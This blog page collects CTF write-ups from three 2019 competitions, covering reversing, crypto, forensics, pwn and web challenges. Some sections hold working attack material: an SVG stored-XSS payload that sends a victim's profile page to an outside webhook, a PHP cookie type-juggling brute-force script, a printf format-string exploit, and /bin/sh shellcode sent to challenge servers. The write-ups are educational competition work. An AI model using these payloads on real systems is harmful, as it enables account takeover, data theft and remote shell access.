CTFするぞ

CTF以外のことも書くよ

Teaser CONFidence 2019 CTF Writeup

Teaser CONFidence 2019 CTF took place from 16 March, 11:00 to 17 March, 11:00 UTC. This CTF was organized by p4, a famous Polish team. Since my usual team members were busy, I played this CTF with the members of team Invaders. We got 762pts and secured 27th place.

f:id:ptr-yudai:20190317211814p:plain

Every challenge was sophisticated and I really enjoyed the challenges despite the high difficulty. Thank you for holding such an amazing CTF!

The challenge files I solved are available here.

[re,warmup 57pts] Elementary

Description: Elementary, my dear Watson.
File: elementary.tar.gz

We are given a 64-bit ELF which just checks the flag. I tried to analyse the binary with IDA but it was so complex that IDA couldn't even display the flow graphs. As the tag says 'warmup', I gave up static analysing and wrote a script to find the flag with angr.

import angr
import claripy

p = angr.Project("./elementary")

flag = claripy.BVS("flag", 200*8)

st = p.factory.entry_state(
    args = ["./elementary"],
    add_options = angr.options.unicorn,
    stdin = flag
)
for byte in flag.chop(8):
    st.add_constraints(byte >= '\x20') # ' '
    st.add_constraints(byte <= '\x7e') # '~'
sm = p.factory.simulation_manager(st)
sm.explore(find=0x400000 + 0x773, avoid=0x400000 + 0x786)
found = sm.found[-1]

keys = found.solver.eval(flag)
print(keys)

The script could successfully find the flag and I got the first blood :)

[web 51pts] My admin panel

Description: I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?
URL: https://gameserver.zajebistyc.tf/admin/

The directory listing shows us login.php and login.php.bak and we can see the contents of login.php.bak.

<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();

We have to set a cookie otadmin whose value is a json data. It checks the hash value with a loose comparison. This means we may bypass the check by passing an integer like 123 == "123abc000...", a simple type juggling of PHP. The hint says the first 3 characters are numeric, so let's brute force the first 3 digits.

import requests

for x in range(100, 1000):
    data = '{{"hash": {0:03}}}'.format(x)
    print(data)
    cook = {"otadmin": data}
    r = requests.get("https://gameserver.zajebistyc.tf/admin/login.php", cookies=cook)
    if b"I CAN EVEN GIVE YOU A HINT XD" not in r.text.encode("ascii"):
        print(r.text)
        break

The flag came out when x=389.

[crypto 85pts] Bro, do you even lift?

Description: So I just rolled out my own crypto...
File: bo_do_u_even_lift.tar.gz

It's a simple sage script.

flag = int(open('flag.txt','r').read().encode("hex"),16)
ranges = int(log(flag,2))
p = next_prime(ZZ.random_element(2^15, 2^16))
k = 100
N = p^k
d = 5
P.<x> = PolynomialRing(Zmod(N), implementation='NTL')
pol = 0
for c in range(d):
    pol += ZZ.random_element(2^ranges, 2^(ranges+1))*x^c
remainder = pol(flag)
pol = pol - remainder
assert pol(flag) == 0

print(p)
print(pol)

And out.txt:

35671
12172655049735206766902704703038559858384636896299329359049381021748*x^4 + 11349632906292428218038992315252727065628405382223597973250830870345*x^3 + 9188725924715231519926481580171897766710554662167067944757835186451*x^2 + 8640134917502441100824547249422817926745071806483482930174015978801*x + 170423096151399242531943631075016082117474571389010646663163733960337669863762406085472678450206495375341400002076986312777537466715254543510453341546006440265217992449199424909061809647640636052570307868161063402607743165324091856116789213643943407874991700761651741114881108492638404942954408505222152223605412516092742190317989684590782541294253512675164049148557663016927886803673382663921583479090048005883115303905133335418178354255826423404513286728

Let the first pol be denoted as  P(x)=a_{0} + a_{1} x + a_{2} x^{2} + a_{3} x^{3} + a_{4} x^{4} \mod N. Then, the given polynomial is  Q(x) = P(x) - P(f) \mod N, where  f is the flag. So, what we need to find is a number  f such that  Q(f) = 0 \mod N. The polynomial  P(x) increases monotonically as x increases. This means we can find the flag by applying the binary search. I wrote a script to find the flag byte by byte.

N = 170423096151399242531943631075016082117474571389010646663163733960337669863762406085472678450206495375341400002076986313014866306058363722739785617711038572575907068616581827647352050681405665331568243118985444397674899058632369404952025496041929540106297284359289345375562946168928866073200743944570284292626030118724105678031515105170147519723277155499560062913168489606030556048245999119516994329444672258906205269943262373846313424732332258135153972001

def pol(x):
    return (12172655049735206766902704703038559858384636896299329359049381021748*x**4 + 11349632906292428218038992315252727065628405382223597973250830870345*x**3 + 9188725924715231519926481580171897766710554662167067944757835186451*x**2 + 8640134917502441100824547249422817926745071806483482930174015978801*x + 170423096151399242531943631075016082117474571389010646663163733960337669863762406085472678450206495375341400002076986312777537466715254543510453341546006440265217992449199424909061809647640636052570307868161063402607743165324091856116789213643943407874991700761651741114881108492638404942954408505222152223605412516092742190317989684590782541294253512675164049148557663016927886803673382663921583479090048005883115303905133335418178354255826423404513286728) % N

result = ""
flag = 0x00
for ofs in range(28, -1, -1):
    l = []
    for x in range(0x100):
        tmp = flag | (x << (8 * (ofs - 1)))
        l.append(N - pol(tmp))
    s, r = min(l), max(l)
    if s <= N - r:
        flag |= (l.index(s) << (8 * (ofs - 1)))
        result += chr(l.index(s))
    else:
        flag |= (l.index(r) << (8 * (ofs - 1)))
        result += chr(l.index(r))
    print(result)

Yay!

$ python solve.py 
p
p4
p4{
p4{T
p4{Th
p4{Th4
p4{Th4t
p4{Th4t5
p4{Th4t5_
p4{Th4t5_5
p4{Th4t5_50
p4{Th4t5_50m
p4{Th4t5_50m3
p4{Th4t5_50m3_
p4{Th4t5_50m3_h
p4{Th4t5_50m3_h3
p4{Th4t5_50m3_h34
p4{Th4t5_50m3_h34v
p4{Th4t5_50m3_h34vy
p4{Th4t5_50m3_h34vy_
p4{Th4t5_50m3_h34vy_l
p4{Th4t5_50m3_h34vy_l1
p4{Th4t5_50m3_h34vy_l1f
p4{Th4t5_50m3_h34vy_l1ft                                                                                                                                                                      
p4{Th4t5_50m3_h34vy_l1ft1                                                                                                                                                                     
p4{Th4t5_50m3_h34vy_l1ft1n                                                                                                                                                                    
p4{Th4t5_50m3_h34vy_l1ft1n9                                                                                                                                                                   
p4{Th4t5_50m3_h34vy_l1ft1n9}

[rev 128pts] Oldschool

Description: Gynvael did a survey lately to see what kind of assembly is taught in Polish universities, and if any of them is still teaching the old 8086. Let us extend this question to the CTF scene!
File: oldschool.tar.gz

We are given an MS-DOS executable and a file named flag.txt. The hint for the chall says the flag format is p4{[0-9a-z]+}. I don't have any environments to run MS-DOS binary on so I analysed the program statically and wrote a script which is equivalent to the binary.

mem = [0 for i in range(18 * 9)]

si = 0x50
for i in range(9):
   dl = int(input()[0:2], 16)
   for j in range(4):
      if dl & 1 == 0 and si != 0 and si % 0x12 != 0:
         si -= 1
      elif dl & 1 == 1 and si % 0x12 != 0x10:
         si += 1
      if dl & 2 == 0 and si > 0x11:
         si -= 0x12
      elif dl & 2 == 2 and si < 0x8f:
         si += 0x12
      dl >>= 2
      mem[si] += 1

di = si # di = 33
si = 0
label = " p4{krule_ctf}"
for i in range(0xa1):
   if mem[si] > 0x0D:
       bl = 0x5e
   else:
       bl = ord(label[mem[si]])
   mem[si] = bl
   si += 1

mem[di] = 0x45
mem[0x50] = 0x53

si = 0
for i in range(8):
   si += 0x11
   mem[si] = 0x0a
   si += 1
si += 0x11
mem[si] = 0x24
print(mem)
print(''.join(list(map(chr, mem))))
si = 0

We enter 9 bytes in hex format. A pointer moves on a 17x9 board and it increments the value of its position every time it moves. The start point and end point is set to 'S' and 'E' respectively. This means the value of di can be known by the position of 'E'. I wrote a (pretty dirty) script to find possible inputs using breadth-first search, which can specify the first characters to reduce the running time.

from copy import deepcopy

flag = [
    [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 2, 1, 1, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 1, 0, 3, 4, 2, 3, 0, -1, 0, 0],
    [0, 0, 0, 0, 0, 0, 1, 0, 2, 2, 1, 3, 0, 1, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
]

def compare(field):
    for y in range(9):
        for x in range(17):
            if y == 32 // 0x12 and x == 32 % 0x12:
                continue
            if y == 0x50 // 0x12 and x == 0x50 % 0x12:
                continue
            if flag[y][x] != field[y][x]:
                return False
    return True

def decode(route):
    result = ''
    bit = ''
    i = 0
    for move in route:
        if move[0] == 1:
            bit += '1'
        elif move[0] == -1:
            bit += '0'

        if move[1] == 1:
            bit += '1'
        elif move[1] == -1:
            bit += '0'

        i += 1
        if i == 4:
            result += bit[::-1]
            bit = ''
            i = 0
    return b''.fromhex(hex(int(result, 2))[2:])

def search(field, x, y, route, move=0):
    if flag[y][x] != -1 and field[y][x] + 1 > flag[y][x]:
        return False

    field[y][x] += 1

    if compare(field) and move == 36:
        if x == 14 and y == 1:
            w = decode(route)
            for c in w:
                if ord(" ") < c < ord("~"):
                    continue
                else:
                    break
            else:
                print(w)
            return True
        else:
            return False

    if move == 36:
        return False

    if y > 0:
        if x > 0:
            search(deepcopy(field), x - 1, y - 1, route + [(-1, -1)], move + 1)
        else:
            search(deepcopy(field), x, y - 1, route + [(-1, -1)], move + 1)
        if x < 16:
            search(deepcopy(field), x + 1, y - 1, route + [(1, -1)], move + 1)
        else:
            search(deepcopy(field), x, y - 1, route + [(1, -1)], move + 1)
    else:
        if x > 0:
            search(deepcopy(field), x - 1, y, route + [(-1, -1)], move + 1)
        else:
            search(deepcopy(field), x, y, route + [(-1, -1)], move + 1)
        if x < 16:
            search(deepcopy(field), x + 1, y, route + [(1, -1)], move + 1)
        else:
            search(deepcopy(field), x, y, route + [(1, -1)], move + 1)

    if y < 8:
        if x > 0:
            search(deepcopy(field), x - 1, y + 1, route + [(-1, 1)], move + 1)
        else:
            search(deepcopy(field), x, y + 1, route + [(-1, 1)], move + 1)
        if x < 16:
            search(deepcopy(field), x + 1, y + 1, route + [(1, 1)], move + 1)
        else:
            search(deepcopy(field), x, y + 1, route + [(1, 1)], move + 1)
    else:
        if x > 0:
            search(deepcopy(field), x - 1, y, route + [(-1, 1)], move + 1)
        else:
            search(deepcopy(field), x, y, route + [(-1, 1)], move + 1)
        if x < 16:
            search(deepcopy(field), x + 1, y, route + [(1, 1)], move + 1)
        else:
            search(deepcopy(field), x, y, route + [(1, 1)], move + 1)

    return False

field = [[0 for j in range(17)] for i in range(9)]

# initialize
x, y = 0x50 % 0x12, 0x50 // 0x12
known = "p4{"

route = []
cnt = 0
for c in known:
    dl = ord(c)
    for i in range(4):
        move = [0, 0]
        if dl & 1 == 0:
            move[0] = -1
            if x > 0:
                x -= 1
        else:
            move[0] = 1
            if x < 16:
                x += 1
        if dl & 2 == 0:
            move[1] = -1
            if y > 0:
                y -= 1
        else:
            move[1] = 1
            if y < 8:
                y += 1
        route.append(tuple(move))
        cnt += 1
        dl >>= 2
        field[y][x] += 1
        if flag[y][x] != -1 and field[y][x] > flag[y][x]:
            print("ERROR!")
            exit(1)

print(route)

label = ".p4{krule_ctf}"
result = ""
for line in field:
    for c in line:
        if len(label) > c:
            result += label[c]
        else:
            result += chr(c)
    result += "\n"
print(result)
print(x, y)
field[y][x] -= 1
search(field, x, y, route, cnt)

The program outputs dozens of flag-like string. I picked up one of them, which was p4{[0-9a-z]+}.

[web 154pts] Web 50

Description: idk what this site does, but you can put some secret, shoe size and report it to the admin...
URL: http://web50.zajebistyc.tf/

We can create a new user with a password, and can edit our own profile. The profile has some properties such as first name, secret, avatar image and so on. The size of the avatar image must be 100x100 and the image filename will be same before and after uploading. (Actually some special characters are omitted but it doesn't matter anyway.) There is also a form in which we can report a bug (url) to the admin. Yes, it's an XSS challenge.

I tried some elements such as profile, image filename to ignite an XSS, but everything seemed to be escaped properly. After several attempts, I found we could upload an SVG image. I wrote a 100x100 SVG image with a javascript included.

<?xml version="1.0" encoding="utf-8"?>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="0" cy="0" r="1" fill="srgba(106,49,37,1)"/>
  <circle cx="1" cy="0" r="1" fill="srgba(112,48,32,1)"/>
  <circle cx="2" cy="0" r="1" fill="srgba(108,46,29,1)"/>
...
  <circle cx="95" cy="99" r="1" fill="srgba(8,34,38,1)"/>
  <circle cx="96" cy="99" r="1" fill="srgba(8,33,38,1)"/>
  <circle cx="97" cy="99" r="1" fill="srgba(5,33,38,1)"/>
  <circle cx="98" cy="99" r="1" fill="srgba(3,32,38,1)"/>
  <circle cx="99" cy="99" r="1" fill="srgba(7,30,33,1)"/>
  <script>
alert("XSS");
  </script>
</svg>

I uploaded this image and accessed to the image directory.

f:id:ptr-yudai:20190317204611p:plain

It seems it's working perfectly!

I wrote a script to send document.cookie to webhook but it didn't work. This is because httponly is enabled and the cookies are protected. So, do we need to bypass this troublesome function somehow?

After several attempts I found we could get the response for some pages by using XMLHttpRequest. I embedded a script which gets the contents of /profile and sends it to webhook.

<?xml version="1.0" encoding="utf-8"?>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="0" cy="0" r="1" fill="srgba(106,49,37,1)"/>
  <circle cx="1" cy="0" r="1" fill="srgba(112,48,32,1)"/>
...
  <circle cx="99" cy="99" r="1" fill="srgba(7,30,33,1)"/>
  <script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        location.href = "https://webhook.site/94d2dfad-3af9-4277-a755-ea4005ed01e0?q=" + btoa(xhr.response);
    }
}
xhr.withCredentials = true;
xhr.open('GET', '/profile', true);
xhr.send(null);
  </script>
</svg>

It worked!

f:id:ptr-yudai:20190317204541p:plain

As I decoded the base64 strings, I found the flag in the secret input box.

AeroCTF 2019 Writeup

I played AeroCTF as a member of team insecure and got 3411 points, which is worth reaching to the 14th place. I solved several challenges, some of them with the help of my team mates, and enjoyed the CTF. Thank you to the admin for holding the CTF.

(I can't write detailed solution for some challenges as they were closed soon after the CTF had ended.)

[Pwn 374] navigation system

It's a 32-bit binary with SSP enabled.

$ checksec binary
[*] 'binary'
    Arch:       32 bits (little endian)
    NX:         NX enabled
    SSP:        SSP enabled (Canary found)
    RELRO:      Partial RELRO
    PIE:        PIE disabled

We can bypass the login with test_account/test_password and it asks an OTP code.

--------- Navigation System Monitor ---------
Please authorization on system
Login: test_account
Password: test_password
Enter the OTP code: 

The OTP code is generated in genOTPcode function:

srand(time(NULL) + username[0] + password[0]);
return rand();

We can predict the OTP code because time(NULL) returns the clock time in seconds. This is the program to generate an OTP code same as that of the server.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
  srand(time(NULL) + 't' + 't');
  printf("%d", rand());
  return 0;
}

After bypassing the login, we can enter the UserPanel. I found the vulnerability in setStation function which is called in UserPanel.

...
sub esp, 0Ch
lea eax, [ebp+station]
push eax
call _printf
...

We can get the flag by setting a global variable flag to 1 or more than 1. And our buffer station comes to the 7th position on the stack. So, the exploit to set the flag to a non-zero value is just like this:

printf("\x??\x??\x??\x??%7$n");

I could successfully get the flag by calling readLastReport after the exploit.

from ptrlib import *
import subprocess

elf = ELF("./binary")

def getOTP():
    t = subprocess.check_output(["./ctime"])
    return int(t)

sock = Socket("185.66.87.233", 5002)
sock.recvuntil("Login: ")
sock.sendline("test_account")
sock.recvuntil("Password: ")
sock.sendline("test_password")
otp = getOTP()
sock.recvuntil("code: ")
sock.sendline(str(otp))
sock.recvuntil("> ")
sock.sendline("2")
sock.recvuntil("> ")
sock.send(p32(elf.symbol("flag")) + b"%7$n")
sock.interactive()

[Warmup 100] pwn_warmup

I just sent a lot of A and got the flag :)

[Warmup 100] forensic_warmup

An unknown file is given.

$ file just_a_meme 
just_a_meme: data

Let's see the inside.

$ hexdump -C just_a_meme | less
00000000  5c 05 03 9d 2b 24 c5 35  23 e6 42 25 ee 43 1d f4  |\...+$.5#.B%.C..|
00000010  45 1d f7 3e 1c ff 3f 21  fd 40 1f fd 40 1f fd 40  |E..>..?!.@..@..@|
00000020  1f fd 40 21 fd 40 21 fd  40 21 fd 40 21 fd 3f 22  |..@!.@!.@!.@!.?"|
00000030  ff 40 1f ff 41 20 ff 42  21 ff 41 20 ff 40 1f fe  |.@..A .B!.A .@..|
00000040  3f 1e fe 3f 1e fe 3f 1e  ff 3d 1d ff 3e 1e ff 3f  |?..?..?..=..>..?|
00000050  1e ff 3f 1e ff 40 1f ff  40 1f ff 40 1f ff 41 20  |..?..@..@..@..A |
00000060  fd 40 1f fd 40 1f fd 41  1e fd 41 1e fd 41 1e fd  |.@..@..A..A..A..|
00000070  42 1c fd 42 1c fd 42 1c  fd 42 1c fd 42 1c fd 42  |B..B..B..B..B..B|
00000080  1c fd 41 1e fd 41 1e fd  41 1e fd 40 1f fd 40 1f  |..A..A..A..@..@.|

It has 3-byte blocks. The description says it contains some sort of image. So, I realized this is a sort of VRAM dump. I made a script to recover the image and got the flag in the image.

from PIL import Image

size = 360000
w = 800
h = size // w
img = Image.new('RGB', (w, h))

with open("just_a_meme", "rb") as f:
    buf = f.read()

x = 0
for i in range(0, len(buf), 3):
    r, g, b = buf[i:i+3]
    img.putpixel((x % w, h - x // w - 1), (r, g, b))
    x += 1

img.save("image.png")

[Code 150] damaged ticket

There are lots of images of 1px width. Every filename has a hash of a number so I sorted them by the number and concatenated them.

from ptrlib import *
import os
import hashlib
from PIL import Image

img = Image.new('RGB', (600, 267))

for x in range(600):
    path = hashlib.md5(str2bytes(str(x))).hexdigest() + ".png"
    if os.path.exists("parts/parts/" + path):
        target = Image.open("parts/parts/" + path)
        for y in range(img.size[1]):
            img.putpixel((x, y), target.getpixel((0, y)))

img.save("image.png")

The output image has the flag.

[Web 100] board tracking system

I did a search for the url /cgi-bin/stats and found this CVE. The flag was written in cat /etc/passwd.

[Warmup 100] crypto_warmup

We are given a file with a lot of words.

$ cat meme_or_not
kappa_pride pepe kappa 
look_at_this_dude kappa trollface 
look_at_this_dude kappa_pride look_at_this_dude 
look_at_this_dude kappa_pride trollface 
look_at_this_dude look_at_this_dude pepe
...

I replaced each words to some alphabets in order to make it human-readable.

a e c 
d c b 
d a d 
d a b 
d d e
...

Only 5 words are used and I found it's quinary. The first character may be A (of Aero{...}). The ascii code of A is 65, which is '230' in quinary. The second character will be e, whose ascii code is '401'. It seems each words correspond to digits respectively.

A --> a e c --> 2 3 0
e --> d c b --> 4 0 1

I wrote a script to decode the given text and got the flag.

result = ""
table = {
    'kappa_pride': '2',
    'pepe': '3',
    'kappa': '0',
    'look_at_this_dude': '4',
    'trollface': '1'
}
with open("meme_or_not", "r") as f:
    for line in f:
        cs = line.split()
        char = ''
        for c in cs:
            char += table[c]
        result += chr(int(char, 5))
print(result)

[Code 488] navigation records

There are lots of text data with hash appended for each file. I didn't understand what the hashes were for, but a team mate yoshiking found the hash was md5sum of the rest of the text. Based on this information I found dozens of files whose hash values are invalid. After several attempts, I realized the invalid hash was md5sum(text + 'an alphanumeric character'). So, I made a script to find the alphanumeric characters for each files with invalid hashes.

import glob
import hashlib
import re
import string

def reverse(h):
    for i in range(10000):
        if hashlib.md5(str2bytes(str(i))).hexdigest() == h:
            return i

def correct(h, contents):
    for c in string.ascii_letters + string.digits + "{}":
        tmp = contents + c
        if hashlib.md5(str2bytes(tmp)).hexdigest() == h:
            return c
    return '?'

badguy = []
for path in glob.glob("records/*.txt"):
    with open(path, "r") as f:
        contents = ""
        for line in f:
            if "Hash" not in line:
                contents += line
            else:
                h = re.findall("Hash: ([0-9a-f]+)", line)[0]
        if h != hashlib.md5(str2bytes(contents)).hexdigest():
            w = re.findall("report-([0-9a-f]+).txt", path)[0]
            c = correct(h, contents)
            badguy.append((reverse(w), c))

for item in sorted(badguy, key=lambda x:x[0]):
    print(item[1], end="")

Wow, guessing.

[Crypto 379] gocryptor

The encryption is a simple xor and the key is 16 bytes long. We can see many similar patterns in the encrypted binary.

$ hexdump -C example_drawing.enc | less
00000000  8d 6d c6 27 a3 f2 73 53  7e 02 5b 2a 86 6e 23 40  |.m.'..sS~.[*.n#@|
00000010  72 d5 39 c7 5c 03 39 99  72 3c 32 4d 87 6e 6e 6d  |r.9.\.9.r<2M.nnm|
00000020  72 9f 39 c7 a3 ea 39 10  36 56 5b 28 87 6e 23 21  |r.9...9.6V[(.n#!|
00000030  72 b4 39 c7 a2 f8 39 10  37 44 5b 2a 87 6e 23 6a  |r.9...9.7D[*.n#j|
00000040  73 ae 39 c2 a3 e2 39 14  37 44 5b 79 86 46 23 23  |s.9...9.7D[y.F##|
00000050  72 b5 39 c6 a3 e0 39 15  b0 2d 5b 2f 87 6e 23 21  |r.9...9..-[/.n#!|
00000060  72 b5 39 9d a3 e2 39 15  37 44 5b 4b 87 6e 23 21  |r.9...9.7D[K.n#!|
00000070  72 b5 39 a7 a3 e2 39 14  37 47 fb 2a 87 6d 23 20  |r.9...9.7G.*.m# |
00000080  72 b4 39 c6 a3 e2 99 17  37 40 5b 2b 87 6f 23 20  |r.9.....7@[+.o# |

They are perhaps xored with 0, which means the raw key. I collected the most frequent bytes for each column and restored the key.

def decrypt(data, key):
    result = b''
    for i in range(len(data)):
        result += bytes([data[i] ^ key[i % len(key)]])
    return result

with open("example_drawing.enc", "rb") as f:
    data = f.read()

key = b"\x72\xb5\x39\xc7\xa3\xe2\x39\x15\x37\x44\x5b\x2b\x87\x6e\x23\x20"
result = decrypt(data, key)

with open("sample", "wb") as f:
    f.write(result)

The output image has the flag in the right bottom. f:id:ptr-yudai:20190309214105p:plain

[Forensic 497] data container

The given file is obviously reversed.

00000000  00 00 00 03 03 60 00 00  03 04 00 0c 00 0c 00 00  |.....`..........|
00000010  00 00 06 05 4b 50 6c 6d  78 2e 70 70 61 2f 73 70  |....KPlmx.ppa/sp|
00000020  6f 72 50 63 6f 64 00 03  00 b9 00 00 00 00 00 00  |orPcod..........|
00000030  00 00 00 00 00 00 00 10  00 00 02 c8 00 00 01 71  |...............q|
00000040  7f 7c c8 90 00 21 00 00  00 08 00 06 00 14 00 2d  |.|...!.........-|
...

The corrected file is a word document, so I extracted it. I found an image in word/media/, which was just a black square image. I extracted a file appended right after the end marker of the png image.

$ hexdump -C curious | less
00000000  13 37 13 37 65 51 d1 b6  13 37 7f ae 02 00 13 37  |.7.7eQ...7.....7|
00000010  13 35 bd 3e 13 37 13 55  13 36 13 36 13 37 13 37  |.5.>.7.U.6.6.7.7|
00000020  15 32 58 67 12 e3 c7 62  66 f9 02 96 12 e3 c7 62  |.2Xg...bf......b|
00000030  a5 99 de bf 12 e3 c7 62  a5 99 b4 5b 13 2f 13 36  |.......b...[./.6|
...

The pattern 13 37 often appears in this file. I xored the whole file with the key \x13\x37 and the output file seemed to be reversed. I reversed the data and appended PK to make it a valid ZIP file.

with open("curious", "rb") as f:
    buf = f.read()

key = b"\x13\x37"
result = b''
for i in range(len(buf)):
    result += bytes([key[i % 2] ^ buf[i]])

with open("file", "wb") as f:
    f.write(b'PK' + result[::-1])

The zip file was protected with a password. I passed this file to a team mate theoldmoon0602 and he found the password. (Perhaps he used john to crack the password.) An image with the flag was in the archive.

[Pwn 488] engine script

I couldn't solve this one during the competition. Looking for a writeup :(

BSidesSF CTF 2019 Writeup

I participated in BSidesSF CTF 2019 as insecure and got 540pts, reached to the 37th place. I also played TAMUctf and had been awake for 24 hours so unfortunately I spent much time on sleeping... And there were too many challenges to solve alone, some easy challs were opened while sleeping :sob: However, I solved some challs and enjoyed the CTF! That was a hard CTF for me :)

The challenge files I solved are available here.

[Forensics 50pts] table-tennis

Description: The flag is in the Pcap, can you find it?
File: out.pcapng

I opened the pcap with Wireshark and found many SSL packets. The protocol hierarchy shows us that there are only DNS, SSL, ICMP packets. As I looked over DNS seems fine so perhaps the flag is in ICMP. I filtered ICMP packets and found some ascii characters in the payload. Those suspicious ICMP packets are sent from 192.168.10.212 so I wrote a code to collect them.

from scapy.all import *

result = b''

def analyse(pkt):
    global result
    if pkt[IP].src == "192.168.10.212":
        data = bytes(pkt[ICMP].payload)
        result += data[16:24]

sniff(offline="out.pcapng", filter="icmp", store=0, prn=analyse)
print(result)

The result is:

<html>\n\t<head>\n\t<title> I <3 Corgi </title>\n\t\t<script>\ndocument.write(atob("Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9"));\n\t\t</script>\n\n\t</head>\n\n\t<body>\n\n\t\t<h1> Woof!! </h1>\n\n\t</body>\n\n</ht

It's a html and the javascript decodes a base64 string.

$ echo Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9 | base64 -d
CTF{JustAS0ngAb0utP1ngP0ng}

[101,Mobile 50pts] blink

Description: Get past the Jedi mind trick to find the flag you are looking for.
File: blink.apk

I just decompiled the apk and found the flag in the java code.

[Forensics 100ptx] zippy

Description: Can you read the flag from the PCAP?
File: zippy.pcapng

There are 2 tcp stream. The first one is:

nc -l -p 4445 > flag.zip
unzip -P supercomplexpassword flag.zip
Archive:  flag.zip
  inflating: flag.txt                

And the second one is:

PK........NdbN..,.%...........flag.txtUT.....z\..z\ux.............
..(.y..z.. ..F.......:...#B z..:...YPK....,.%.......PK..........NdbN..,.%.........................flag.txtUT.....z\ux.............PK..........N...w.....

I saved the second stream as flag.zip and unzipped the file with using the password written in the first one.

[101,Pwning 25pts] runit

Description: Send code to the server, and it'll run! Grab the flag from /home/ctf/flag.txt
Location - runit-5094b2cb.challenges.bsidessf.net:5252
File: runit

The binary just executes what is entered. So, we can get the shell just by sending a 32-bit shellcode.

from ptrlib import *
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
sock = Socket("runit-5094b2cb.challenges.bsidessf.net", 5252)

sock.sendline(shellcode)
sock.interactive()

[Pwning,Reversing 52pts] runitplusplus

Description: This is the same as runit, except requires a bit of reversing! Grab the flag from /home/ctf/flag.txt
Location - runitplusplus-a36bf652.challenges.bsidessf.net:5353
File: runitplusplus

It's similar to runit but there's a process between the input and the execution. I read the assembly with IDA and found it's just reversing the input. So, we can get the shell by sending reversed shellcode.

from ptrlib import *

shellcode  = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
shellcode += b"\x90" * (0x400 - len(shellcode))
shellcode = shellcode[::-1]

sock = Socket("runitplusplus-a36bf652.challenges.bsidessf.net", 5353)
#sock = Socket("localhost", 5353)
#_ = input()

sock.send(shellcode)
sock.interactive()

[101,Web 1pt] futurella

Description: The aliens are invading! Can you decode their message... before it's too late?
Location - https://futurella-85e75f52.challenges.bsidessf.net/

Read the source code.

[101,Web 10pts] kookie

Description: Log in as admin! Location - https://kookie-499a0c69.challenges.bsidessf.net/

There's a login form and we are given the username and password for an account. I logged in the account and found a cookie was created. The name of the cookie is username and the value is cookie. So, I just set the value to admin and reloaded the page, got the flag.

[Forensics 100pts] thekey

Description: Can you read flag.txt from the pcap?
File: thekey.pcapng

Ther are many USB packets which seems to be keyboard input. I found a useful document on keyboard packet and wrote a script to decode the packets. Be careful to check if shift key is pressed and if it's a sequential event.

from scapy.all import *

result = b' '
last = 0
interval = True

def keyid2chr(keyid, shift):
    table = {}
    for i in range(26):
        table[0x04 + i] = (bytes([ord("a") + i]), bytes([ord("A") + i]))
    syms = [b"!", b"@", b"#", b"$", b"%", b"^", b"&", b"*", b"("]
    for i in range(9):
        table[0x1e + i] = (bytes([ord("1") + i]), syms[i])
    table[0x27] = (b'0', b')')
    table[0x28] = (b'\n', b'\n')
    table[0x29] = (b'[ESC]', b'[ESC]')
    syms1 = b"\t -=[]\\#;' ,./"
    syms2 = b"\t _+{}|~:\" <>?"
    for i, (a, b) in enumerate(zip(syms1, syms2)):
        table[0x2b + i] = (bytes([a]), bytes([b]))
    if keyid in table:
        return table[keyid][shift]
    else:
        print(keyid)
        return b'?'

def analyse(pkt):
    global result, interval, last
    payload = bytes(pkt[Raw].load)
    leftover = payload[0x40:]
    if payload[8] == ord('S') and payload[9] == 1:
        # submit
        pass
    elif payload[8] == ord('C') and payload[9] == 1 and len(leftover) == 8:
        # complete
        shift = leftover[0]
        keyid = leftover[2]
        if keyid == 0:
            interval = True
        else:
            # an event captured
            c = keyid2chr(keyid, shift==0x20)
            if last == keyid and not interval:
                return
            result += c
            last = keyid
            interval = False

sniff(offline="thekey.pcapng", filter="", store=0, prn=analyse)
print(result)

The result is:

b' vim flag.txt\niThe flag is ctf[ESC]vbUA{my_favorite_editor_is_vim}[ESC]hhhhhhhhhhhhhhhhhhhau[ESC]vi{U[ESC]:wq\n\t'

It seems that he or she was using some key bindings for vim. We can get the flag by tracing the keystroke.

CTF{my_favourite_editor_is_vim}

